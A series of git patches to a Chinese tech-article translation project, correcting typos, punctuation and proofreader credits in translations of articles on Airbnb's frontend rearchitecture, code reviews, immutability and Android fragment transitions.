-这个 UI 非常丰富，我们希望将 CheckBox 不仅与 title 相关联，还可以使用 `aria-describedby` 与 subtitle 关联。为了实现这一点，需要 DOM 中唯一的标识符，这意味着强制关联一个必须的 ID 作为任何调用方需要提供的属性。如果一个组件被用于生产，这些是 UI 是可以强制约束类型的，它提供内置的可访问性。
+这个 UI 非常丰富，我们不仅希望将 CheckBox 与 title 相关联，还希望与使用了 `aria-describedby` 的 subtitle 关联。为了实现这一点，需要 DOM 中唯一的标识符，这意味着强制关联一个必须的 ID 作为任何调用方需要提供的属性。如果一个组件被用于生产，这些是 UI 是可以强制约束类型的，它提供内置的可访问性。
 
 上面的代码也演示了我们的响应式实体 HideAt 和 ShowAt，它使我们能够大幅度地改变用户在不同屏幕尺寸下的体验，而无需使用 CSS 控制隐藏和显示。这造就了更精简的页面。
 
@@ -383,9 +381,9 @@ RoomTypeFilter.defaultProps = defaultProps;
 
 我们的房间类型筛选器 (代码在上面)
 
-所以对于用户的所有操作我们使用组件的本地状态，除非触发路由变化或者网络请求才是用 Redux，并且我们没再遇到什么麻烦。
+所以对于用户的所有操作我们使用组件的本地状态，除非触发路由变化或者网络请求才使用 Redux，并且我们没再遇到什么麻烦。
 
-同时，我喜欢 Redux container 组件的那种感觉，并且我们即使带有本地状态，我们依然可以构建可以共享的高阶组件。一个伟大的例子就是我们的筛选功能。搜索[在底特律的家](https://www.airbnb.com/s/Detroit--MI--United-States/homes)，你会在页面上看见几个不同的面板，每一个都可以独立操作，你可以更改你的搜索条件。在不同的断点之间，实际上有几十个组件需要知道当前应用的搜索过滤器以及如何更新它们，在用户交互期间被暂时或z正式地被用户接受。
+同时，我喜欢 Redux container 组件的那种感觉，并且我们即使带有本地状态，我们依然可以构建可以共享的高阶组件。一个伟大的例子就是我们的筛选功能。搜索[在底特律的家](https://www.airbnb.com/s/Detroit--MI--United-States/homes)，你会在页面上看见几个不同的面板，每一个都可以独立操作，你可以更改你的搜索条件。在不同的断点之间，实际上有几十个组件需要知道当前应用的搜索过滤器以及如何更新它们，在用户交互期间被暂时或正式地被用户接受。
 
 ```
 import React, { PropTypes } from 'react';
@@ -482,24 +480,24 @@ export default function withFilters(WrappedComponent) {
 }
 ```
 
-这里我们有一个利落的技巧。每一个需要和筛选交互的组件只需被 HOC 包裹起来，你就能做到了。它甚至还有属性类型。每个组件都通过 Redux 连接到 **responseFilters**（与当前显示的结果相关联的那些）,并同时保有一个本地 stagedFilters 状态对象用于更改。
+这里我们有一个利落的技巧。每一个需要和筛选交互的组件只需被 HOC 包裹起来，就是这么简单。它甚至还有属性类型。每个组件都通过 Redux 连接到 **responseFilters**（与当前显示的结果相关联）,并同时保有一个本地 stagedFilters 状态对象用于更改。
 
-通过以这种方式处理状态，与我们的价格滑块进行交互对页面的其余部分没有影响，所以表现很好。而且但所有过滤器面板都具有相同的功能签名，因此开发也很简单。
+以这种方式处理状态，与我们的价格滑块进行交互对页面的其余部分没有影响，所以表现很好。而且所有过滤器面板都具有相同的功能签名，因此开发也很简单。
 
-### 未来做些什么? ###
+### 未来做些什么？###
 
-既然现在已经良策在手，我们可以把目光转向未来。
+既然现在繁重的前端改造工作已经接近完成，我们可以把目光转向未来。
 
 - [AMP](https://www.ampproject.org/) 核心预订流程中的所有页面的 AMP 版本将会实现亚秒级（某些情况下）在手机 web 上 Google 搜索的 **可交互时间**，通过移动网络和桌面网络，所需的许多更改将在 P50 / P90 / P95 冷负载时间内实现显着改善。
 - [PWA](https://developers.google.com/web/progressive-web-apps/) 功能将实现亚秒级（在某些情况下）返回访客的**可交互时间**，并将打开离线优先功能的大门，因此对于具有脆弱网络连接的用户非常关键。
-- 将最终的锤子应用到传统的技术/框架上将会将包大小减少一半。这不是华而不实的工作，我们最终翻出 jQuery、Alt、Bootstrap、Underscore 以及所有额外的 CSS 请求（他们使渲染停滞，并且将近 97% 的规则是不会被使用！）不仅精简了我们的代码，还精简了新员工在上升时需要学习的足迹。
+- 下定决心干掉老旧的技术和框架可以使包大小减少一半。这不是华而不实的工作，我们最终翻出 jQuery、Alt、Bootstrap、Underscore 以及所有额外的 CSS 请求（他们使渲染停滞，并且将近 97% 的规则是不会被使用！）不仅精简了我们的代码，还精简了新员工在上升时需要学习的足迹。
 - 最后，yeoman 的手动捕捉瓶颈的工作、异步加载代码在初始渲染时不可见、避免不必要的重新渲染、并降低重新渲染的成本，这些改进正是拖拉机和顶级跑车之间的区别。
 
-下次请收听我们将追逐的这些机会的成果。因为这么多的成果会有一些数量上的冲突，我们将尽量选择一些具体的成果在下篇文章中总结。
+欢迎下次继续围观我们的成果分享。因为这么多的成果会有一些数量上的冲突，我们将尽量选择一些具体的成果在下篇文章中总结。
 
 **自然，如果你欣赏本文并觉得这是一个有趣的挑战，我们一直在寻找优秀出色的人[加入团队](https://www.airbnb.com/careers/departments/engineering)。如果你只想做一些交流，那么随时可以点击我的 twitter [@adamrneary](https://twitter.com/AdamRNeary)。**
 
-最后，深切地向 [Salih Abdul-Karim](https://twitter.com/therealsalih) 和 [Hugo Ahlberg](https://twitter.com/hugoahlberg) 两位体验设计师致敬，他们的令人动容的动画至今让我目不转睛。许多工程师在他们的领域值得赞美，作出努力人的名单难以一一列出的，但绝对包括 Nick Sorrentino、[Joe Lencioni](https://medium.com/@lencioni)、[Michael Landau](https://medium.com/@mikeland86)、Jack Zhang、Walker Henderson 和 Nico Moschopoulos.
+最后，深切地向 [Salih Abdul-Karim](https://twitter.com/therealsalih) 和 [Hugo Ahlberg](https://twitter.com/hugoahlberg) 两位体验设计师致敬，他们的令人动容的动画至今让我目不转睛。许多工程师在他们的领域值得赞美，作出贡献的人数众多，难以一一列出的，但绝对包括 Nick Sorrentino、[Joe Lencioni](https://medium.com/@lencioni)、[Michael Landau](https://medium.com/@mikeland86)、Jack Zhang、Walker Henderson 和 Nico Moschopoulos.
 
 ---
 

From 464e544fc49ba3013ecf8e580ec50784d6e16a4b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 31 May 2017 10:52:07 +0800
Subject: [PATCH 553/638] Fix a typo

---
 ...-and-cleaner-code-by-leveraging-the-power-of-immutability.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability.md b/TODO/write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability.md
index 20baf1b1612..1eb60c3d8be 100644
--- a/TODO/write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability.md
+++ b/TODO/write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability.md
@@ -101,7 +101,7 @@ console.log(resultB); // [1, 2, 3, 5]
 
 现在我们可以多次调用这个函数，且相同的输入获得相同的输出，与预期一致。这是因为我们不再改变 **array** 变量。我们把这个函数叫做“纯函数”。
 
-> **注意：**你还可以使用 **concat**，来代替 **slice** 和 **push**。
+> **注意：** 你还可以使用 **concat**，来代替 **slice** 和 **push**。
 > 即：arrayInput.concat(value);
 
 我们还可以使用 ES6 的[扩展语法](https://developer.mozilla.org/nl/docs/Web/JavaScript/Reference/Operators/Spread_operator)，来简化函数。

From 6df94ae4da7824f63ca72fa58e1711656767c1df Mon Sep 17 00:00:00 2001
From: "Yuze.Ma" <584653629@qq.com>
Date: Wed, 31 May 2017 10:53:00 +0800
Subject: [PATCH 554/638] Fix additional errors

---
 TODO/crafting-better-code-reviews.md | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/TODO/crafting-better-code-reviews.md b/TODO/crafting-better-code-reviews.md
index 6ed2892e4e1..7626fdbcf19 100644
--- a/TODO/crafting-better-code-reviews.md
+++ b/TODO/crafting-better-code-reviews.md
@@ -2,7 +2,7 @@
 > * 原文作者：[Vaidehi Joshi](https://medium.com/@vaidehijoshi)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[bobmayuze](https://github.com/bobmayuze)
-> * 校对者：
+> * 校对者：[SareaYu](https://github.com/SareaYu)、[吃土小2叉](https://github.com/xunge0613)
 
 # 建立更好的代码审查制度 #
 
@@ -95,7 +95,7 @@ McConnell 的一组组数据似乎在告诉我们，每一个开发团队都应
 
 ![](https://cdn-images-1.medium.com/max/800/1*fVl3H0KGsauN1Bxs_jsN7A.jpeg)
 
-这张图片通过不同语言阐明了代码审查的深度。总的来说，每个语言之间没有差很多。换句话来说，决j定代码审查的的深度和频率和你用什么语言没有关系，重点在于你在什么样的一个团队。
+这张图片通过不同语言阐明了代码审查的深度。总的来说，每个语言之间没有差很多。换句话来说，决定代码审查的的深度和频率和你用什么语言没有关系，重点在于你在什么样的一个团队。
 
 ![](https://cdn-images-1.medium.com/max/800/1*jFZ_2zCzHM78m_L_p0OK8A.jpeg)
 
@@ -170,7 +170,7 @@ McConnell 的一组组数据似乎在告诉我们，每一个开发团队都应
 ### 如何做得更好? ###
 
 
-也许这些数据不能最完整，最细致，或者最精准地代表代码审查的结构，但是我们还是能学到一些东西：我们能够回顾并检查我们团队的甚至整个社区的代码审查流程。
+也许这些数据不能最完整、最细致、或者最精准地代表代码审查的结构，但是我们还是能学到一些东西：我们能够回顾并检查我们团队的甚至整个社区的代码审查流程。
 
 下面的匿名调查告诉了我们代码审查对于一个团队成员的影响是怎么样的：
 
@@ -187,10 +187,10 @@ McConnell 的一组组数据似乎在告诉我们，每一个开发团队都应
 这边是一些能够快速帮助提高代码审查感受的一些技巧：
 
 - 使用 [linters](https://github.com/showcases/clean-code-linters) 或者其他的代码分析工具来避免语法问题。
-- 使用 [Github 的模板](https://quickleft.com/blog/pull-request-templates-make-code-review-easier/)来生产每个PR。在发PR的时候带上更改列表对于作者和审查者都非常有帮助。
-- 在发PR的时候可以加个截图来帮助那些不是很熟悉的人理解问题。
-- 提高commits的信息量，尽量语言短小精湛。
-- 对于每个PR钦定审查者，如果可能的话人多于一个比较好。确定代码编写和审查的分配对于各个等级的工程师来说是均衡的。
+- 使用 [GitHub 的模板](https://quickleft.com/blog/pull-request-templates-make-code-review-easier/)来生产每个 PR 。在发 PR 的时候带上更改列表对于作者和审查者都非常有帮助。
+- 在发 PR 的时候可以加个截图来帮助那些不是很熟悉的人理解问题。
+- 提高 commits 的信息量，尽量语言短小精湛。
+- 对于每个 PR 钦定审查者，如果可能的话人多于一个比较好。确定代码编写和审查的分配对于各个等级的工程师来说是均衡的。
 
 #### 很难做到但是非常重要的事情 ####
 
@@ -206,7 +206,7 @@ McConnell 的一组组数据似乎在告诉我们，每一个开发团队都应
 
 [![Markdown](http://i1.piimg.com/1949/51bfec74a7cf1e42.png)](https://twitter.com/j3)
 
-- **进行一次口头交流。** 带着整个团队坐下来，到slack（美国的一种团队交流软件）上开个新的频道，让大家能够匿名的交流（选择最适合的即可）。在匿名的情况下大家都愿意说真话。
+- **进行一次口头交流。** 带着整个团队坐下来，到 slack （美国的一种团队交流软件）上开个新的频道，让大家能够匿名的交流（选择最适合的即可）。在匿名的情况下大家都愿意说真话。
 
 我把最重要的一点放在最后，因为当你还有耐心读到这里的时候，说明你真的想要更改一下你们的代码审查结构了，这是个好事儿。团队交流真的非常重要，这几乎是每个团队必须跨出的一步如果他们想要提升代码审查制度的话。
 

From 689a52b57d883309540606b1b6f396aecbc120f1 Mon Sep 17 00:00:00 2001
From: sunxinlei <sunxinlei@gpdata.cn>
Date: Wed, 31 May 2017 11:27:00 +0800
Subject: [PATCH 555/638] =?UTF-8?q?=E8=B7=9F=E6=8D=AE=20sqrthree=20?=
 =?UTF-8?q?=E6=84=8F=E8=A7=81=E4=BF=AE=E6=94=B9=E4=B8=80=E4=BA=9B=E7=BB=86?=
 =?UTF-8?q?=E8=8A=82?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/rearchitecting-airbnbs-frontend.md | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/TODO/rearchitecting-airbnbs-frontend.md b/TODO/rearchitecting-airbnbs-frontend.md
index afc24e784ab..9467839a1eb 100644
--- a/TODO/rearchitecting-airbnbs-frontend.md
+++ b/TODO/rearchitecting-airbnbs-frontend.md
@@ -50,17 +50,17 @@ Airbnb 每天处理超过 7500 万次搜索，这使得搜索页面成为我们
 
 但一旦你想渲染客户端路由，你需要能够以预定的形式动态请求所需的数据。将来我们可能用类似 [GraphQL](http://graphql.org/) 的东西解决这个问题，但是现在暂且把它放到一边吧，因为这件事和重构代码没太大关系。相反，我们选择在我们的 API 的 “v2” 上进行调整，我们需要我们所有的组件来开始处理规范的数据格式。
 
-如果你自己和我们处在类似的情况中，在维护一个大型的应用，你可能发现我们像我们这样做，规划迁移现有的服务器端数据管道是很容易的。只需在任何地方用 Rails 渲染一个React组件，并确保数据输入是 API 所规定的类型。你可以用客户端的 React PropTypes 来进一步验证数据类型是否与 API v2 一致。
+如果你自己和我们处在类似的情况中，在维护一个大型的应用，你可能发现我们像我们这样做，规划迁移现有的服务器端数据管道是很容易的。只需在任何地方用 Rails 渲染一个 React 组件，并确保数据输入是 API 所规定的类型。你可以用客户端的 React PropTypes 来进一步验证数据类型是否与 API v2 一致。
 
 对我们来说棘手的问题是和那些参与客户预定流程交互的团队协作：商业旅游、发展、度假租赁团队；中国和印度市场团队，灾难恢复团队等等，我们需要重新培训所有这些人，即使在技术上可以将数据直接传递到正在呈现的组件上("是的，我明白，这仅仅是一种实验，但是...")，**所有的数据**都要通过 API。
 
 #### 第 2 步： 非 API 数据: 配置、试验、惯用语、本地化、国际化… ####
 
-有一类独特的数据和我们设想的 API 化的数据不同，包括应用配置，用户试验任务，国际化，本地化等等类似的问题。近年来，Airbnb 已经建立了一套很棒的工具来支持这些功能，但是把这些数据传送到前端的机制就不那么令人愉快了（在革命开始之前，或许就已经很蹩脚了！）。
+有一类独特的数据和我们设想的 API 化的数据不同，包括应用配置、用户试验任务、国际化、本地化等等类似的问题。近年来，Airbnb 已经建立了一套很棒的工具来支持这些功能，但是把这些数据传送到前端的机制就不那么令人愉快了（在革命开始之前，或许就已经很蹩脚了！）。
 
 我们使用 [Hypernova](https://www.npmjs.com/package/hypernova)  在服务端渲染渲染 React，但是在我们此次重构深入之前，无论服务端渲染时 React 组件中的试验交付会不会爆发或者客户端上提供的字符串转换是否都可以在服务器上可靠地使用，这些都还有点模糊。最重要的是，如果服务器和客户端输出匹配不到位，页面不仅会不断闪烁刷新 diff，还会在加载后重新渲染整个页面，这对于性能来说很可怕。
 
-更糟糕的是，我们有很久以前写过一些神奇的 Rails 功能，比如 `add_bootstrap_data(key, value)` 表面上可以在 Rails 中的任何地方调用，通过 `BootstrapData.get(key)` 使数据在客户端的全局可用（再次强调，对 Hypernova 来说已经不必要了）。曾经这些小工具对小团队来说很实用，但如今随着团队规模扩大，应用规模扩张，这些小工具反而变成了累赘。由于每个团队拥有不同的页面或功能，因此“数据清洗”变得越来越棘手，因此每个团队都会培养出一种不同的加载配置的机制，以满足其独特需求。
+更糟糕的是，我们很久以前写过一些神奇的 Rails 功能，比如 `add_bootstrap_data(key, value)` 表面上可以在 Rails 中的任何地方调用，通过 `BootstrapData.get(key)` 使数据在客户端的全局可用（再次强调，对 Hypernova 来说已经不必要了）。曾经这些小工具对小团队来说很实用，但如今随着团队规模扩大，应用规模扩张，这些小工具反而变成了累赘。由于每个团队拥有不同的页面或功能，因此“数据清洗”变得越来越棘手，因此每个团队都会培养出一种不同的加载配置的机制，以满足其独特需求。
 
 显然， 这套机制已经崩溃了，所以我们融合了一个用于引导非 API 数据的规范机制，我们开始将所有应用程序和页面迁移到 Rails 和 React/Hypernova 之间的这种切换。
 
@@ -484,7 +484,7 @@ export default function withFilters(WrappedComponent) {
 
 以这种方式处理状态，与我们的价格滑块进行交互对页面的其余部分没有影响，所以表现很好。而且所有过滤器面板都具有相同的功能签名，因此开发也很简单。
 
-### 未来做些什么？###
+### 未来做些什么？ ###
 
 既然现在繁重的前端改造工作已经接近完成，我们可以把目光转向未来。
 

From 603777b182d293e1354d3a5bc882348c3a72ac32 Mon Sep 17 00:00:00 2001
From: sunxinlei <sunxinlei@gpdata.cn>
Date: Wed, 31 May 2017 11:36:02 +0800
Subject: [PATCH 556/638] =?UTF-8?q?=E4=BF=AE=E6=94=B9=E4=B8=80=E5=A4=84?=
 =?UTF-8?q?=E6=96=87=E5=AD=97=E8=BE=93=E5=85=A5=E9=94=99=E8=AF=AF?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/rearchitecting-airbnbs-frontend.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/rearchitecting-airbnbs-frontend.md b/TODO/rearchitecting-airbnbs-frontend.md
index 9467839a1eb..6a1e005cc11 100644
--- a/TODO/rearchitecting-airbnbs-frontend.md
+++ b/TODO/rearchitecting-airbnbs-frontend.md
@@ -197,7 +197,7 @@ export default compose(withPhrases, withHypernovaBootstrap);
 
 #### 异步组件 ####
 
-在（采用）React 之前，我们需要一次渲染整个页面，我们以前的 React 都是这么做的。但现在我们使用异步组件，类似[这种](https://medium.com/@thejameskyle/react-loadable-2674c59de178)方式， 挂在（mount）以后加载组件层次结构的部分。
+在（采用）React 之前，我们需要一次渲染整个页面，我们以前的 React 都是这么做的。但现在我们使用异步组件，类似[这种](https://medium.com/@thejameskyle/react-loadable-2674c59de178)方式， 挂载（mount）以后加载组件层次结构的部分。
 
 ```
 export default class AsyncComponent extends React.Component {

From 8133d7c0eaab9d9d720f111ec9fc219a62f6c3e9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 31 May 2017 14:12:29 +0800
Subject: [PATCH 557/638] Update
 write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability.md

---
 ...-and-cleaner-code-by-leveraging-the-power-of-immutability.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability.md b/TODO/write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability.md
index 1eb60c3d8be..f9576dfb7f1 100644
--- a/TODO/write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability.md
+++ b/TODO/write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability.md
@@ -1,6 +1,6 @@
 > * 原文地址：[Write safer and cleaner code by leveraging the power of “Immutability”
 ](https://medium.freecodecamp.com/write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability-7862df04b7b6)
-> * 原文作者：[Guido Schmitz](https://medium.freecodecamp.com/@guidsen)
+> * 原文作者：本文已获原作者 [Guido Schmitz](https://medium.freecodecamp.com/@guidsen) 授权
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[gy134340](https://github.com/gy134340)
 > * 校对者：[bambooom](https://github.com/bambooom),[xunge0613](https://github.com/xunge0613)

From 99ec15e4ca338885d63b77dddcbc63e65f56766b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 31 May 2017 14:18:04 +0800
Subject: [PATCH 558/638] Update crafting-better-code-reviews.md

---
 TODO/crafting-better-code-reviews.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/crafting-better-code-reviews.md b/TODO/crafting-better-code-reviews.md
index 7626fdbcf19..5fc82facecd 100644
--- a/TODO/crafting-better-code-reviews.md
+++ b/TODO/crafting-better-code-reviews.md
@@ -1,5 +1,5 @@
 > * 原文地址：[Crafting Better Code Reviews](https://medium.com/@vaidehijoshi/crafting-better-code-reviews-1a5fc00a9312)
-> * 原文作者：[Vaidehi Joshi](https://medium.com/@vaidehijoshi)
+> * 原文作者：本文已获原作者 [Vaidehi Joshi](https://medium.com/@vaidehijoshi) 授权
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[bobmayuze](https://github.com/bobmayuze)
 > * 校对者：[SareaYu](https://github.com/SareaYu)、[吃土小2叉](https://github.com/xunge0613)

From 931733887477144bc2539b9cbb21deee7a0421d1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=AC=A7=E9=98=B3=E5=A4=8F=E6=98=B1?= <ouyangxiayu@m24.cn>
Date: Wed, 31 May 2017 16:55:31 +0800
Subject: [PATCH 559/638] =?UTF-8?q?2017.5.31=20=E7=AC=AC=E4=B8=80=E9=83=A8?=
 =?UTF-8?q?=E5=88=86=E6=A0=A1=E5=AF=B9=E5=AE=8C=E6=88=90?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...-app-part-1-fragments-custom-transition.md | 179 +++++-------------
 1 file changed, 50 insertions(+), 129 deletions(-)

diff --git a/TODO/workcation-app-part-1-fragments-custom-transition.md b/TODO/workcation-app-part-1-fragments-custom-transition.md
index 3e385d22705..a6b9bccbbcf 100644
--- a/TODO/workcation-app-part-1-fragments-custom-transition.md
+++ b/TODO/workcation-app-part-1-fragments-custom-transition.md
@@ -1,112 +1,66 @@
 > * 原文地址：[Workcation App – Part 1. Fragment custom transition](https://www.thedroidsonroids.com/blog/android/workcation-app-part-1-fragments-custom-transition/)
 > * 原文作者：[Mariusz Brona](https://www.thedroidsonroids.com/blog/android/workcation-app-part-1-fragments-custom-transition/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
-> * 校对者：
+> * 译者：[龙骑将杨影枫](https://github.com/stormrabbit)
+> * 校对者：[Vivienmm](https://github.com/Vivienmm)、[张拭心](https://github.com/shixinzhang)
 
-#  Workcation App – Part 1. Fragment custom transition #
+#  Workcation App – 第一部分 . 自定义 Fragment 转场动画
 
-#  Workcation App – 第一部分 . 自定义 Fragment 转场动画 #
-
-
-Welcome to the first of series of posts about my R&D (Research & Development) project I’ve made a while ago. In this blog posts, I want to share my solutions for problems I encountered during the development of an animation idea you’ll see below.
-
-欢迎阅读本系列文章的第一篇，此系列文章和我前一段时间完成的“研究与开发”项目有关。在文章里，我会针对开发中遇到的动画问题分享一些解决办法。
+欢迎阅读本系列文章的第一篇，此系列文章和我前一段时间完成的“研发”项目有关。在文章里，我会针对开发中遇到的动画问题分享一些解决办法。
 
 Part 1: [自定义 Fragment  转场](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-1-fragments-custom-transition.md)
 
 Part 2: [Animating Markers 与 MapOverlayLayout ](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md)
 
-Part 3: [RecyclerView interaction 与 Animated Markers](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-3-recyclerview-interaction-with-animated-markers.md)
+Part 3: [RecyclerView 互动 与 Animated Markers](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-3-recyclerview-interaction-with-animated-markers.md)
+
+Part 4: [场景（Scenes）和 RecyclerView 的共享元素转场动画（Shared Element Transition）](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md)
 
-Part 4: [Shared Element Transition with RecyclerView and Scenes](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md)
 
- 
 
 项目的 Git 地址:  [Workcation App](https://github.com/panwrona/Workcation)
 
 动画的 Dribbble 地址: [https://dribbble.com/shots/2881299-Workcation-App-Map-Animation](https://dribbble.com/shots/2881299-Workcation-App-Map-Animation)
 
-# Prelude #
-
-# 序言 #
-
-A few months back we’ve had a company meeting, where my friend Paweł Szymankiewicz showed the animation he’d done during his Research & Development. And I loved it. After the meeting, I decided that I will code it. I never knew what I’m going to struggle with…
-
-几个月前我们开了一个部门会议，在会议上我的朋友 Paweł Szymankiewicz 给我演示了他在自己的“研究与开发”项目上制作的动画。我非常喜欢这个动画，在开完会以后我准备把用代码实现它。我可没想到到我会摊上啥...
-
- 
+# 序言
 
-![](https://www.thedroidsonroids.com/wp-content/uploads/2017/02/Bali-App-Animation-3-color-2.gif?x77083) 
+几个月前我们开了一个部门会议，在会议上我的朋友 Paweł Szymankiewicz 给我演示了他在自己的“研发”项目上制作的动画。我非常喜欢这个动画，会后决定用代码实现它。我可没想到到我会摊上啥...
 
-GIF 1 *“The animation”*
+![](https://www.thedroidsonroids.com/wp-content/uploads/2017/02/Bali-App-Animation-3-color-2.gif?x77083)
 
 GIF 1 **“动画效果”**
 
-# Let’s start! 
-
 # 开始吧！
 
-As we can see in the GIF above, there is a lot of going on.
-
 就像上面 GIF 动画展示的，需要做的事情有很多。
 
-1. After clicking on the bottom menu item, we are moving to the next screen, where we can see the map being loaded with some scale/fade animation from the top, RecyclerView items loaded with translation from the bottom, markers added to the map with scale/fade animation.
-
-1. 在点击底部菜单栏最右方的菜单后，我们会跳转到一个新界面。在此界面中，我们可以看到地图通过缩放和渐显的转场动画被加载到屏幕上方，Recycleview 的 item 随着转场动画加载到屏幕下方，地图上的标记点在转场动画执行的同时被添加到地图上.
-
-2. While scrolling the items in RecyclerView, the markers are pulsing to show their position on the map.
-
-当滑动底部的 RecycleView item 的时候，地图上的标记会根据 RecycleView item 的顺序（position）闪烁。
-
-3. After clicking on the item, we are transferred to the next screen, the map is animated below to show the route and start/finish marker. The RecyclerView’s item is transitioned to show some description, bigger picture, trip details and button.
-
-在点击一个 item 以后，我们会进入到新界面。在此界面中，地图会显示我们到标记点的路径，同时此 RecyclerView 的item 会通过转场动画展示一些关于此地点的描述，背景图片也会放大，还附有更详细的信息和一个按钮。
-
-4. While returning, the transition happens again back to the RecyclerView’s item, all of the markers are shown again, the route disappears.
+1. 在点击底部菜单栏最右方的菜单后，我们会跳转到一个新界面。在此界面中，地图通过缩放和渐显的转场动画在屏幕上方加载，Recycleview 的 item 随着转场动画从底部加载，地图上的标记点在转场动画执行的同时被添加到地图上.
 
-当后退时，详情页通过转场变成普通的 RecycleView Item，所有的地图标记再次显示，同时路径一起消失。 
+2. 当滑动底部的 RecycleView item 的时候，地图上的标记会通过闪烁来显示它们的位置(译者注：原文是show their **position** on the map，个人认为 position 有两层含义：一代表标记在地图上的位置，二代表标记所对应的 item 在 RecycleView 里的位置。)
 
+3. 在点击一个 item 以后，我们会进入到新界面。在此界面中，地图通过动画方式来显示出路径以及起始/结束标记。同时此 RecyclerView 的item 会通过转场动画展示一些关于此地点的描述，背景图片也会放大，还附有更详细的信息和一个按钮。
 
-Pretty much. That’s why I’ve decided to show you all of the things in the series of posts. In this article I will cover the enter animation of the map fragment.
+4. 当后退时，详情页通过转场变成普通的 RecycleView Item，所有的地图标记再次显示，同时路径一起消失。
 
 就这么多啦，这就是我准备在这一系列文章中向你展示的东西。在本文中我会编写进入地图 fragment 的转场动画。
 
-# The Problem 
-
-# 难点 #
-
-As we can see in the GIF 1 above, it looks like the map is already loaded before and just animated to the proper position. This is not happening in the real world. What it really looks like:
+# 难点
 
 就像我们在 GIF 1 里看到的那样，看起来好像地图在移动到正确地点之前已经加载完毕了。这在真实世界里是不可能的，它实际上是这个样子的：
 
 ![](https://www.thedroidsonroids.com/wp-content/uploads/2017/03/map_loading-1.gif?x77083)
 
-# The Solution 
-
-# 需求 #
-
-1. Preload map
+# 需求
 
-    预加载地图
+1. 预加载地图
 
-2. When map is loaded, use Google Maps API to get bitmap from it and save it in cache
+2. 加载完毕后，使用 Google Map API 获得地图的快照图片（bitmap）并保存在缓存中。
 
-    加载完毕后，使用 Google Map API 获得地图的快照图片（bitmap）并保存在缓存中。
-
-3. Create custom transition for scale and fade effect of the map when entering *DetailsFragment*
-
-    为地图编写一个包含缩放与渐显的自定义转场动画（transition），进入 **DetailsFragment** 的时候就激活。
-
-# Let’s go! #
+3. 为地图编写一个包含缩放与渐显的自定义转场动画（transition），进入 **DetailsFragment** 的时候就激活。
 
 # 动手吧!
 
-## Preloading the map ##
-
-## 预加载地图 ##
-
-To achieve that we have to take bitmap snapshot from already loaded map. Of course we can’t do that in the **DetailsFragment** if we want the smooth transition between screens. What we have to do, is to get bitmap underneath the **HomeFragment** and save it in the cache. As you can see, the map have some margin from the bottom, so we also have to fit the “future” map size.
+## 预加载地图
 
 为了实现上述目标，我们首先从已加载的地图上拿到一份快照（snapshot）。当然我们如果想把转场动画做的更平滑一点，肯定不能等进入 **DetailsFragment** 后才获取。所以要怎么做呢？当然是是悄悄的在 **HomeFragment** 里拿到这个图片（bitmap） 并且保存在缓存里啦。地图距离底部还有一点距离（margin），所以我们拿到的图片必须满足"将来的"地图尺寸。
 
@@ -127,7 +81,7 @@ XHTML
 
     tools:MContext=".screens.main.MainActivity">
 
- 
+
 
     <fragment
 
@@ -141,7 +95,7 @@ XHTML
 
         android:layout_marginBottom="@dimen/map_margin_bottom"/>
 
- 
+
 
     <LinearLayout
 
@@ -197,7 +151,7 @@ public class MainActivity extends MvpActivity<MainView,MainPresenter> implements
 
     }
 
- 
+
 
     @Override
 
@@ -207,7 +161,7 @@ public class MainActivity extends MvpActivity<MainView,MainPresenter> implements
 
     }
 
- 
+
 
     @Override
 
@@ -240,7 +194,7 @@ In onCreate method we have three things:
 
 1. We are providing *LatLngBounds* for map – they will be used to set the bounds of the map
 
- 为地图提供了 **LatLngBounds**，他们会被用来添加在地图上的标记
+ 为地图提供了 **LatLngBounds**，他们会被用来设置地图的边界。
 
 2. We are replacing the *HomeFragment* in activities container layout
 
@@ -253,11 +207,11 @@ In onCreate method we have three things:
 
